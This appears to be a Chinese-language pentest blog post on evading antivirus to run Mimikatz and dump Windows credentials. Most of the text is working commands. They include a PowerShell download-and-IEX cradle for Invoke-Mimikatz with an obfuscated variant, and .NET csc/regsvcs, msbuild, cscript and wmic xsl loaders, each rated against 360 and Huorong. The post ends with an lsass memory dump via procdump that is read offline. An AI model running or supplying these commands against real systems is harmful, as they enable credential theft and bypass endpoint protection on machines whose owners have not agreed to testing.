Mimikatz是一款能夠從Windows認證(LSASS)的進程中獲取內存,並且獲取明文密碼和NTLM哈希值的神器,內網滲透中常用mimikatz獲取明文密碼或者獲取hash值來漫遊內網。但是在實際的運用中,常常會遇到殺軟的攔截,所以這裏我借鑑網上的資料,進行復現學習,達到免殺繞過的目的。有些方式沒有復現成功我就沒有寫出來了,有一些成功之後似乎也會被攔截了。
姿勢一:powershell
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
cmd下執行,360沒有攔截
powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
powershell運行會被攔截
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.139/Invoke-Mimikatz.ps1');Invoke-Mimikatz
簡單混淆還是被攔截了
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.30'+'.139/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
姿勢二:使用.net2.0免殺mimikatz
首先下載katz.cs,並放在對應的系統版本的Framework目錄中
32位:C:\Windows\Microsoft.NET\Framework\v2.0.50727
64位:C:\Windows\Microsoft.NET\Framework64\v2.0.50727
然後在powershell中執行命令生成key.snk
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
最後生成mimikatz,再運行
32位:
C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\regsvcs.exe katz.exe
64位:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework64\v2.0.50727>.\regsvcs.exe katz.exe
很不幸,又被360發現了
然而,火絨又過了,沒有一點提示
姿勢三:js加載mimikatz
下載katz.js,執行
cscript mimikatz.js
360攔截,但是火絨過了,沒有反應
姿勢四:.net4.0加載mimikatz
下載mimikatz.xml,執行
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
msbuild.exe mimikatz.xml
過360,並沒有攔截
火絨同樣沒報
姿勢五:Jscript的xsl版
本地加載
wmic os get /format:"mimikatz.xsl"
360、火絨都沒有攔截
姿勢六:導出lsass進程離線讀取密碼
mimikatz+procdump
下載prodump,管理員權限運行
procdump64.exe -accepteula -ma lsass.exe 1.dmp
也可以在任務管理器中導出文件
然後把dmp文件導出到本地使用mimikatz讀取密碼
mz64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
這裏需要注意的是win10下的密碼抓取方式是不太一樣的,具體看另一篇文章:Windows10明文密碼抓取。
而win7下拿到dmp文件後,是直接可以導出讀取明文密碼的。